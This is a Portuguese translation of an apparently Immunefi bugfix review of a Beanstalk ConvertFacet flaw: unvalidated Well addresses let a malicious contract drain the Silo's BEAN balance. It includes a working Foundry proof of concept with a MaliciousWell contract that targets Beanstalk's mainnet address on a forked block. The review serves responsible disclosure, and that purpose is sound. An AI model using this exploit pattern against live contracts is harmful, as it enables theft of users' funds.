Introdução ao Beanstalk
O Beanstalk é um protocolo de stablecoin baseado em crédito na Ethereum que visa reinventar o mercado de stablecoins garantidas existente. Ao contrário dos modelos tradicionais que dependem de garantias, o Beanstalk utiliza um sistema de crédito para criar um ativo descentralizado e líquido.
O protocolo introduz o BEAN, sua stablecoin, como o núcleo de uma economia nativa da Ethereum, sem aluguel. O Beanstalk foca principalmente em incentivar os participantes a equilibrar o preço do BEAN em torno de $1, ajustando o fornecimento com base em sua solvência.
Quando os preços do BEAN estão abaixo de $1, o protocolo atrai credores para estabilizar o valor, e quando os preços ficam muito altos, novos BEANs são cunhados e distribuídos. Esse mecanismo inflacionário forma a base da economia do Beanstalk. Você pode ler mais sobre o Beanstalk e sua arquitetura aqui.
Análise de Vulnerabilidade
Entre os cinco principais componentes do Beanstalk, o Silo funciona como a DAO do Beanstalk. Ele permite que depositantes depositem seus BEANs e outros tokens LP autorizados em troca de oportunidades de rendimento passivo.
A conversão entre Bean e Depósitos LP dentro do Silo é vital para manter a paridade e é realizada através do convertFacet
. Esse recurso de conversão é como uma ferramenta que permite aos usuários trocar seus BEANs por tokens LP quando os preços estão altos e tokens LP por BEANs quando os preços estão baixos, desde que o tipo de conversão seja autorizado. Isso ajuda a equilibrar as coisas e manter um preço estável.
Vamos examinar essa função de conversão e sua lógica e entender a origem da vulnerabilidade.
Esta função invoca duas funções internas. Vamos examinar cada uma separadamente.
1. Considere convertData.convertWithAddress()
convertData.convertWithAddress()
Aqui, os dados de entrada fornecidos pelo usuário (convertData) são decodificados para obter quantidades de tokens e um endereço, que é essencialmente o endereço WellLp.
O problema é que não há validação neste endereço Well, permitindo que qualquer pessoa forneça um contrato malicioso como um endereço Well.
2. _wellRemoveLiquidityTowardsPeg
_wellRemoveLiquidityTowardsPeg
Na função _wellRemoveLiquidityTowardsPeg()
, o endereço Well decodificado é usado para obter a quantidade de BEANs (amountOut
).
Um endereço Well (contrato malicioso) pode devolver o saldo inteiro de BEANs do contrato Beanstalk como amountOut
.
Além disso, a função lpToPeg()
também faz chamadas para o mesmo endereço Well e, com base nesses dados retornados, a quantidade (amount) lpConverted
é determinada. Isso coloca a quantidade lpConverted
essencialmente sob o controle do atacante, permitindo que eles a definam como zero. Consequentemente, amountIn
torna-se zero.
Agora, quando o processo retorna para o [_withdrawTokens](https://github.com/BeanstalkFarms/Beanstalk/blob/1f7734992878a4e3f8936e55a7150085d804d6c4/protocol/contracts/beanstalk/silo/ConvertFacet.sol#L85)
dentro da função convertFacet.convert
, ele pode ser totalmente contornado enviando arrays stems
e amounts
vazios.
Então, essencialmente:
-
toToken
= BEAN -
fromToken
= Well Malicioso -
toAmount
= Pode ser qualquer coisa, pois é retornado por um Well malicioso (por exemplo, bean.balanceOf(beanstalk)) -
fromAmount
= 0
Em última análise, devido à validação insuficiente de entrada mencionada anteriormente, esta função permitia o depósito de BEANs sem retirar quaisquer tokens do Silo, que podem ser facilmente retirados posteriormente.
Prova de Conceito (PoC)
A equipe da Immunefi preparou o seguinte PoC para demonstrar a vulnerabilidade explicada.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^ 0.8 .13;
import "@immunefi/PoC.sol";
import {
MaliciousWell
} from "../../src/Beanstalk/BeanstalkBugfixReview.sol";
import "forge-std/interfaces/IERC20.sol";
contract BeanStalkBugfixReviewTest is PoC {
IBeanStalk beanStalk = IBeanStalk(0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5);
IERC20 Bean = IERC20(0xBEA0000029AD1c77D3d5D23Ba2D8893dB9d1Efab);
IERC20[] token;
address attacker;
MaliciousWell mockWell;
function setUp() public {
token.push(Bean);
// Criando um fork na mainnet logo antes da correção
vm.createSelectFork("https://rpc.ankr.com/eth", 18517994);
attacker = makeAddr("attacker");
mockWell = new MaliciousWell();
setAlias(address(beanStalk), "beanStalk");
setAlias(address(attacker), "Attacker");
console.log("\n>>> Initial conditions");
}
function testAttack() public snapshot(attacker, token) snapshot(address(beanStalk), token) {
uint256 balance = Bean.balanceOf(address(beanStalk));
// Construindo os convertData
IBeanStalk.ConvertKind kind = IBeanStalk.ConvertKind(6);
uint256 amountIn = 0;
uint256 minBeans = 0;
bytes memory convertData = abi.encode(kind, 0, 0, address(mockWell));
// Passando stems e amounts vazios
int96[] memory stems = new int96[](0);
uint256[] memory amounts = new uint256[](0);
console.log("\n>>> Execute attack");
vm.startPrank(attacker);
// Chamando o convert
beanStalk.convert(convertData, stems, amounts);
//Retirando o saldo completo de BEAN do beanStalk
int96[] memory stem = new int96[](1);
stem[0] = beanStalk.stemTipForToken(address(Bean));
uint256[] memory balanceToWithdraw = new uint256[](1);
balanceToWithdraw[0] = balance;
beanStalk.withdrawDeposits(address(Bean), stem, balanceToWithdraw, IBeanStalk.To(0));
}
}
interface IBeanStalk {
enum To {
EXTERNAL,
INTERNAL
}
function convert(bytes calldata convertData, int96[] memory stems, uint256[] memory amounts)
external
returns(int96 toStem, uint256 fromAmount, uint256 toAmount, uint256 fromBdv, uint256 toBdv);
function stemTipForToken(address token) external view returns(int96 _stemTip);
function withdrawDeposits(address token, int96[] calldata stems, uint256[] calldata amounts, To to) external;
enum ConvertKind {
BEANS_TO_CURVE_LP,
CURVE_LP_TO_BEANS,
UNRIPE_BEANS_TO_UNRIPE_LP,
UNRIPE_LP_TO_UNRIPE_BEANS,
LAMBDA_LAMBDA,
BEANS_TO_WELL_LP,
WELL_LP_TO_BEANS
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^ 0.8 .13;
import "forge-std/interfaces/IERC20.sol";
/**
* @title MaliciousWell
*/
contract MaliciousWell {
struct Call {
address target; // O endereço em que a chamada é executada.
bytes data; // Calldata adicional a ser passado durante a chamada
}
MockTarget mockTarget;
Call internal _wellFunction;
IERC20[] internal _tokens = [IERC20(0xBEA0000029AD1c77D3d5D23Ba2D8893dB9d1Efab)];
uint256[] internal _reserves = [1000000];
constructor() {
mockTarget = new MockTarget();
_wellFunction = Call(address(mockTarget), "0x");
}
function wellFunction() external view returns(Call memory) {
return _wellFunction;
}
function tokens() external view returns(IERC20[] memory) {
return _tokens;
}
function getReserves() external view returns(uint256[] memory reserves) {
reserves = _reserves;
}
function removeLiquidityOneToken(uint256 lpAmountIn, IERC20 tokenOut, uint256 minTokenAmountOut, address recipient, uint256 deadline) external returns(uint256 tokenAmountOut) {
tokenAmountOut = tokenOut.balanceOf(msg.sender);
}
}
contract MockTarget {
function calcReserveAtRatioLiquidity(uint256[] calldata reserves, uint256 j, uint256[] calldata ratios, bytes calldata) external pure returns(uint256 reserve) {
return 10;
}
function calcLpTokenSupply(uint256[] calldata reserves, bytes calldata) external pure returns(uint256 lpTokenSupply) {
lpTokenSupply = reserves[0];
}
}
Saída
Correção da Vulnerabilidade
Para mitigar a vulnerabilidade, o Beanstalk implementou as seguintes verificações para garantir que o endereço fornecido seja realmente um endereço Well válido.
Eles também adicionaram uma verificação para o fromAmount
, garantindo que seja sempre maior que zero neste commit.
Agradecimentos
Gostaríamos de agradecer à whitehat nicole por fazer um trabalho incrível e fazer uma divulgação responsável ao Beanstalk. Parabéns também ao Comitê Immunefi do Beanstalk, que fez um trabalho incrível respondendo rapidamente ao relatório e resolvendo-o.
Se você é um desenvolvedor Web2 ou Web3 que está pensando em uma carreira de caça a bugs em Web3, estamos aqui por você. Confira a Web3 Security Library e comece a ganhar recompensas na Immunefi - a principal plataforma de recompensas por bugs em Web3 com os maiores pagamentos do mundo.
E se você se sente confiante em suas habilidades e quer ver se encontrará bugs no código, confira o programa de recompensas por bugs do Beanstalk.
Este artigo foi escrito por Immunefi Editor e traduzido por Adriano P. de Araujo. O original em inglês pode ser encontrado aqui.
Top comments (0)